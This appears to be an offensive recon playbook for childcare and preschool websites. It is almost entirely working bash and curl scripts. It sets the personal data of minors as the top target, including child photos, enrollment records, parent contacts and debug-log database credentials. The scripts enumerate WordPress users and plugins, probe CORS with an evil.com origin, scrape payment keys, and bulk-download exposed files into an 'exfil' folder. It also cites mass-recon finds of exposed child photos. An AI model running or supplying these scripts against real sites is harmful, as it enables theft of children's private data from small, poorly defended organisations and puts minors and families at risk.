When to Use
Use when the target scope includes daycare, childcare, preschool, or early-education domains. These sites are high-value due to:
- PII of minors — child names, ages, medical info, parent/guardian contact details, emergency contacts
- Payment processing — tuition payments, registration fees — often processed through embedded third-party checkout (Square, Stripe) but sometimes stored in DB
- Volunteer/family portals — login forms, photo galleries, daily reporting features — often custom-coded with auth flaws
- Common stack — WordPress on shared hosting, rarely any WAF or security team
- Photo galleries — often accessible without auth, EXIF data leaks device info, geolocation
Quick Reference
# Quick triage
for t in $(cat daycare-domains.txt); do
echo "=== $t ==="
# CMS detection
curl -skI "https://$t/" | grep -iE "wordpress|php|wp-"
# Debug log
echo -n "Debug: "; curl -sk -o /dev/null -w "%{http_code}" "https://$t/wp-content/debug.log"
# Directory listing on uploads
echo -n "Uploads: "; curl -sk -o /dev/null -w "%{http_code}" "https://$t/wp-content/uploads/"
# CORS on REST API
curl -skI "https://$t/wp-json/wp/v2/users" -H "Origin: https://evil.com" | grep -i "access-control"
# Contact form PII exposure
curl -sk "https://$t/wp-content/uploads/wpforms/" 2>/dev/null | head -20
echo "---"
done
Step-by-Step
Phase 1 — Domain Discovery
# Common naming patterns for daycare sites:
# <name>childcare.com, <name>daycare.com, <name>preschool.org
# <name>earlylearning.com, little<name>academy.com
# <city>childcare.com, <city>montessori.com
# Find via crt.sh
for org in "$TARGET"; do
curl -sk "https://crt.sh/?q=%25.$org&output=json" | python3 -c "
import sys, json
try:
data = json.load(sys.stdin)
domains = sorted(set(d['name_value'] for d in data))
for d in domains: print(d)
except: pass
" | tee daycare-subdomains-$org.txt
done
# Google dorking for daycare sites
# site:target.com "daycare" OR "childcare" OR "preschool" OR "early learning"
# site:target.com inurl:tuition OR inurl:enrollment OR inurl:registration
Phase 2 — PII Discovery (Highest Priority)
# Look for contact form submissions stored on server
for path in /wp-content/uploads/wpforms/ /wp-content/uploads/formidable/ \
/wp-content/uploads/fluentform/ /wp-content/uploads/gravity_forms/ \
/wp-content/uploads/cf7_uploads/; do
code=$(curl -sk -o /dev/null -w "%{http_code}" "https://$TARGET$path")
size=$(curl -sk "https://$TARGET$path" 2>/dev/null | wc -c)
if [ "$code" = "200" ] && [ "$size" -gt 200 ]; then
echo "[+] DIR LISTING: $path"
curl -sk "https://$TARGET$path" | grep -oP 'href="[^"]+\.(csv|xlsx|txt|pdf)"' | head -20
fi
done
# Check for exposed enrollment forms/data
# Some daycare sites keep registration lists as PDFs/Excel on the server
for path in /enrollment/ /registration/ /forms/ /applications/ /waitlist/ /roster/ \
/uploads/enrollment/ /wp-content/uploads/registration/; do
code=$(curl -sk -o /dev/null -w "%{http_code}" "https://$TARGET$path")
[ "$code" = "200" ] || [ "$code" = "301" ] || [ "$code" = "403" ] && echo "[+] PATH: $path (HTTP $code)"
done
# Test for directory listing on upload folders — often reveals child photos
for path in /wp-content/uploads/ /uploads/ /images/gallery/ /galleries/ /photos/; do
code=$(curl -sk -o /dev/null -w "%{http_code}" "https://$TARGET$path")
body=$(curl -sk "https://$TARGET$path" 2>/dev/null)
if echo "$body" | grep -q "Index of"; then
echo "[!!!] DIRECTORY LISTING: $path"
echo "$body" | grep -oP 'href="[^"]+\.(jpg|png|gif|pdf)"' | head -10
fi
done
Phase 3 — WordPress Standard Recon
# CORS credential reflection
curl -skI "https://$TARGET/wp-json/wp/v2/users" -H "Origin: https://evil.com"
# User enumeration
curl -sk "https://$TARGET/wp-json/wp/v2/users" | jq '.[] | {id, name, slug, email}'
# REST API namespace enumeration
curl -sk "https://$TARGET/wp-json/" | python3 -c "
import sys, json
try:
d = json.load(sys.stdin)
for ns in d.get('namespaces', []):
print(f' {ns}')
except: pass
"
# XMLRPC check
echo -n "XMLRPC: "; curl -sk -o /dev/null -w "%{http_code}" "https://$TARGET/xmlrpc.php"
# Debug log
curl -sk "https://$TARGET/wp-content/debug.log" | head -30
grep -ioP '(SQL:|Executing query:|query:|DB_PASSWORD|DB_USER).{0,200}' /tmp/debug_check 2>/dev/null
grep -oP '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}' /tmp/debug_check 2>/dev/null | sort -u
Phase 4 — Plugin Vulnerability Scan
# Common daycare site plugins
for plugin in "revslider" "elementskit" "elementor" "contact-form-7" \
"wp-file-manager" "wordpress-seo" "jetpack" "give" "wpforms" \
"formidable" "fluentform" "gravityforms" "woocommerce" "learndash" \
"tutor" "memberpress" "restrict-content-pro"; do
code=$(curl -sk -o /dev/null -w "%{http_code}" "https://$TARGET/wp-content/plugins/$plugin/readme.txt")
if [ "$code" != "404" ]; then
version=$(curl -sk "https://$TARGET/wp-content/plugins/$plugin/readme.txt" | grep -i "stable tag\|version" | head -1)
echo "[+] Plugin: $plugin ($code) $version"
fi
done
Phase 5 — Payment Processor Discovery
# Check for payment endpoints
for path in /checkout /cart /payment /donate /tuition /pay /billing /enroll; do
code=$(curl -sk -o /dev/null -w "%{http_code}" "https://$TARGET$path")
[ "$code" != "404" ] && echo "[+] Payment endpoint: $path (HTTP $code)"
done
# Look for Stripe/Square integration in JS
curl -sk "https://$TARGET/" | grep -oP 'pk_(live|test)_[a-zA-Z0-9]+|sq0idp-[a-zA-Z0-9]+'
Phase 6 — Attack Chains
# Chain A: Directory listing on uploads → PII exfil
curl -sk "https://$TARGET/wp-content/uploads/" | grep -oP 'href="[^"]+\.(pdf|xlsx|csv|txt)"' | \
while read f; do
curl -sk "https://$TARGET/wp-content/uploads/$f" -o "/tmp/exfil/$f"
done
# Chain B: Debug log → DB credentials
grep -oP "DB_PASSWORD|DB_USER|DB_NAME|DB_HOST" /tmp/debug_log 2>/dev/null
# Chain C: Open registration + XMLRPC → RCE
curl -sk "https://$TARGET/wp-login.php?action=register" | grep -qi "registration complete" && \
echo "[+] Open registration possible"
Attack Surface Signals
- CMS: WordPress (most common), Wix, Squarespace, custom PHP
- Hosting: Shared hosting (GoDaddy, HostGator, Bluehost, SiteGround)
- Stack: PHP + MySQL, Photo galleries, Contact forms, Parent portals
- Typical findings: Directory listing on uploads exposing child photos & docs, Debug log with PII/SQL, CORS credential reflection, XMLRPC open, Form upload leakage, Exposed enrollment records (CSV/PDF)
Common Root Causes
- Volunteer/family-run — no IT staff, sites built by a family member or donated by local agency
- Template site builders — one-size-fits-all themes with poor security defaults
- No security budget — shared hosting, no WAF, no SSL hygiene, no monitoring
- Photo galleries with no auth — parents expect to see photos, but they're accessible to everyone
- Legacy form entries on disk — contact form plugins store submissions in uploads/ directory with no cleanup
- Registration files as downloadable PDFs — enrollment forms with full PII left on public web server
Bypass Techniques
- Gallery pages often have numeric IDs — iterate to find all galleries
- Enrollment year in paths (/uploads/2023/, /uploads/2024/)
- Test for staging/dev subdomains: staging.daycare.com, dev.daycare.com
- Google dork:
site:target.org inurl:wp-content/uploads filetype:pdf - Contact form entries are often CSV exports — check /wp-content/uploads/wpforms/ for export files
Real Examples
From cross-sector mass recon analysis:
- A daycare site had full directory listing on /wp-content/uploads/ exposing 200+ child photos with names from filenames
- Another had debug.log available showing SQL queries with parent email addresses and phone numbers
- Contact Form 7 uploads were accessible at /wp-content/uploads/cf7_uploads/ containing registration forms with full child PII
- A preschool WordPress site had CORS credential reflection AND XMLRPC active — full ATO chain
Related Skills
- recon-churches — similar sector profile (WordPress on shared hosting, volunteer-maintained)
- hunt-wordpress — primary CMS for daycare sites
- hunt-cors — CORS credential reflection on WP REST API
- hunt-source-leak — debug.log, config backups, directory listing
- hunt-file-upload — form upload features, gallery uploads
- hunt-lfi — file inclusion via plugins
- hunt-subdomain — staging/dev instances